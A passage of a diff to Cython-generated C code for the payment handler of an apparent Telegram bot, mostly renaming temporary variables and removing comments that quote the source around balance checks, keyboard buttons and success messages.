= __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 68, __pyx_L13_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 69, __pyx_L13_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 68, __pyx_L13_error) + else __PYX_ERR(0, 69, __pyx_L13_error) } } - /* "handlers/payments/utils.py":69 - * await update_balance(user_id, -plan_price) - * await clear_temporary_data(conn, user_id) - * return # <<<<<<<<<<<<<< - * - * - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L12_return; - /* "handlers/payments/utils.py":62 - * - * balance = await get_balance(user_id) - * if balance >= plan_price: # <<<<<<<<<<<<<< - * moscow_tz = pytz.timezone("Europe/Moscow") - * expiry_time = datetime.now(moscow_tz) + timedelta(days=duration_days) - */ } - /* "handlers/payments/utils.py":57 - * return - * - * if state == "waiting_for_payment": # <<<<<<<<<<<<<< - * plan_price = data["plan_price"] - * duration_days = data["duration_days"] - */ } } __pyx_L17:; - /* "handlers/payments/utils.py":28 - * try: - * temp_data = await get_temporary_data(conn, user_id) - * if temp_data: # <<<<<<<<<<<<<< - * state = temp_data["state"] - * data = temp_data["data"] - */ } - /* "handlers/payments/utils.py":72 - * - * - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton(text=ADD_KEY, callback_data="create_key"), - * InlineKeyboardButton(text=RENEW_KEY, callback_data="view_keys"), - */ - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 72, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_9); - - /* "handlers/payments/utils.py":73 - * - * builder.row( - * InlineKeyboardButton(text=ADD_KEY, callback_data="create_key"), # <<<<<<<<<<<<<< - * InlineKeyboardButton(text=RENEW_KEY, callback_data="view_keys"), - * ) - */ - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 73, __pyx_L13_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_4); + + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 73, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 73, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_ADD_KEY); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 73, __pyx_L13_error) @@ -4751,88 +4415,60 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 73, __pyx_L13_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_create_key) < 0) __PYX_ERR(0, 73, __pyx_L13_error) - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 73, __pyx_L13_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 73, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_8); - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/utils.py":74 - * builder.row( - * InlineKeyboardButton(text=ADD_KEY, callback_data="create_key"), - * InlineKeyboardButton(text=RENEW_KEY, callback_data="view_keys"), # <<<<<<<<<<<<<< - * ) - * await bot.send_message( - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 74, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 74, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_RENEW_KEY); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 74, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_14); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_t_14) < 0) __PYX_ERR(0, 74, __pyx_L13_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_14) < 0) __PYX_ERR(0, 74, __pyx_L13_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_data, __pyx_n_u_view_keys) < 0) __PYX_ERR(0, 74, __pyx_L13_error) - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 74, __pyx_L13_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_n_u_view_keys) < 0) __PYX_ERR(0, 74, __pyx_L13_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 74, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = NULL; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; __pyx_t_7 = 0; #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_9))) { - __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); - if (likely(__pyx_t_4)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); - __Pyx_INCREF(__pyx_t_4); + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_9, function); + __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_7 = 1; } } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_4, __pyx_t_8, __pyx_t_14}; - __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); - __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + PyObject *__pyx_callargs[3] = {__pyx_t_9, __pyx_t_8, __pyx_t_14}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 72, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/utils.py":76 - * InlineKeyboardButton(text=RENEW_KEY, callback_data="view_keys"), - * ) - * await bot.send_message( # <<<<<<<<<<<<<< - * chat_id=user_id, - * text=PAYMENT_SUCCESS_MESSAGE.format(amount=amount), - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_bot); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 76, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_send_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 76, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_9); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_send_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 76, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/utils.py":77 - * ) - * await bot.send_message( - * chat_id=user_id, # <<<<<<<<<<<<<< - * text=PAYMENT_SUCCESS_MESSAGE.format(amount=amount), - * reply_markup=builder.as_markup(), - */ __pyx_t_5 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 77, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_chat_id, __pyx_cur_scope->__pyx_v_user_id) < 0) __PYX_ERR(0, 77, __pyx_L13_error) - /* "handlers/payments/utils.py":78 - * await bot.send_message( - * chat_id=user_id, - * text=PAYMENT_SUCCESS_MESSAGE.format(amount=amount), # <<<<<<<<<<<<<< - * reply_markup=builder.as_markup(), - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_PAYMENT_SUCCESS_MESSAGE); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 78, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_format); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 78, __pyx_L13_error) @@ -4840,24 +4476,17 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __pyx_t_14 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 78, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 78, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_amount, __pyx_t_4) < 0) __PYX_ERR(0, 78, __pyx_L13_error) - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 78, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 78, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_amount, __pyx_t_9) < 0) __PYX_ERR(0, 78, __pyx_L13_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 78, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 77, __pyx_L13_error) - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 77, __pyx_L13_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/utils.py":79 - * chat_id=user_id, - * text=PAYMENT_SUCCESS_MESSAGE.format(amount=amount), - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * await clear_temporary_data(conn, user_id) - */ __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 79, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_8 = NULL; @@ -4876,28 +4505,21 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO #endif { PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; - __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 79, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_4); + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 79, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; } - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_reply_markup, __pyx_t_4) < 0) __PYX_ERR(0, 77, __pyx_L13_error) - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - - /* "handlers/payments/utils.py":76 - * InlineKeyboardButton(text=RENEW_KEY, callback_data="view_keys"), - * ) - * await bot.send_message( # <<<<<<<<<<<<<< - * chat_id=user_id, - * text=PAYMENT_SUCCESS_MESSAGE.format(amount=amount), - */ - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 76, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 77, __pyx_L13_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 76, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_1); @@ -4931,23 +4553,16 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } } - /* "handlers/payments/utils.py":81 - * reply_markup=builder.as_markup(), - * ) - * await clear_temporary_data(conn, user_id) # <<<<<<<<<<<<<< - * - * finally: - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_clear_temporary_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 81, __pyx_L13_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = NULL; + __pyx_t_4 = NULL; __pyx_t_7 = 0; #if CYTHON_UNPACK_METHODS if (unlikely(PyMethod_Check(__pyx_t_5))) { - __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_5); - if (likely(__pyx_t_9)) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); - __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_7 = 1; @@ -4955,15 +4570,15 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_9, __pyx_cur_scope->__pyx_v_conn, __pyx_cur_scope->__pyx_v_user_id}; - __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); - __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 81, __pyx_L13_error) - __Pyx_GOTREF(__pyx_t_4); + PyObject *__pyx_callargs[3] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_conn, __pyx_cur_scope->__pyx_v_user_id}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 81, __pyx_L13_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_1); @@ -4998,25 +4613,18 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } } - /* "handlers/payments/utils.py":84 - * - * finally: - * await conn.close() # <<<<<<<<<<<<<< - * else: - * builder.row(InlineKeyboardButton(text=ADD_KEY, callback_data="create_key")) - */ /*finally:*/ { /*normal exit:*/{ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 84, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = NULL; + __pyx_t_4 = NULL; __pyx_t_7 = 0; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(__pyx_t_5))) { - __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_5); - if (likely(__pyx_t_9)) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); - __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_7 = 1; @@ -5024,15 +4632,15 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_9, NULL}; - __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); - __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 84, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_4); + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 84, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_1); @@ -5089,14 +4697,14 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO { __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 84, __pyx_L34_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = NULL; + __pyx_t_4 = NULL; __pyx_t_7 = 0; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(__pyx_t_5))) { - __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_5); - if (likely(__pyx_t_9)) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); - __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_7 = 1; @@ -5104,15 +4712,15 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_9, NULL}; - __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); - __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 84, __pyx_L34_error) - __Pyx_GOTREF(__pyx_t_4); + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 84, __pyx_L34_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_1); @@ -5223,14 +4831,14 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_r = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 84, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_9 = NULL; + __pyx_t_4 = NULL; __pyx_t_7 = 0; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(__pyx_t_5))) { - __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_5); - if (likely(__pyx_t_9)) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); - __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_7 = 1; @@ -5238,15 +4846,15 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_9, NULL}; - __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); - __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 84, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_4); + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 84, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); - __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_1); @@ -5332,28 +4940,14 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO __pyx_L14:; } - /* "handlers/payments/utils.py":23 - * builder.row(InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - * if USE_NEW_PAYMENT_FLOW: # <<<<<<<<<<<<<< - * from handlers.keys.key_management import create_key - * conn = await asyncpg.connect(DATABASE_URL) - */ goto __pyx_L10; } - /* "handlers/payments/utils.py":86 - * await conn.close() - * else: - * builder.row(InlineKeyboardButton(text=ADD_KEY, callback_data="create_key")) # <<<<<<<<<<<<<< - * builder.row(InlineKeyboardButton(text=RENEW_KEY, callback_data="view_keys")) - * - */ /*else*/ { __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 86, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 86, __pyx_L4_error) - __Pyx_GOTREF(__pyx_t_9); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 86, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 86, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_ADD_KEY); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 86, __pyx_L4_error) @@ -5361,9 +4955,9 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 86, __pyx_L4_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_callback_data, __pyx_n_u_create_key) < 0) __PYX_ERR(0, 86, __pyx_L4_error) - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 86, __pyx_L4_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 86, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_8); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __pyx_t_14 = NULL; __pyx_t_7 = 0; @@ -5381,35 +4975,28 @@ static PyObject *__pyx_gb_8handlers_8payments_5utils_2generator(__pyx_CoroutineO #endif { PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_t_8}; - __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 86, __pyx_L4_error) - 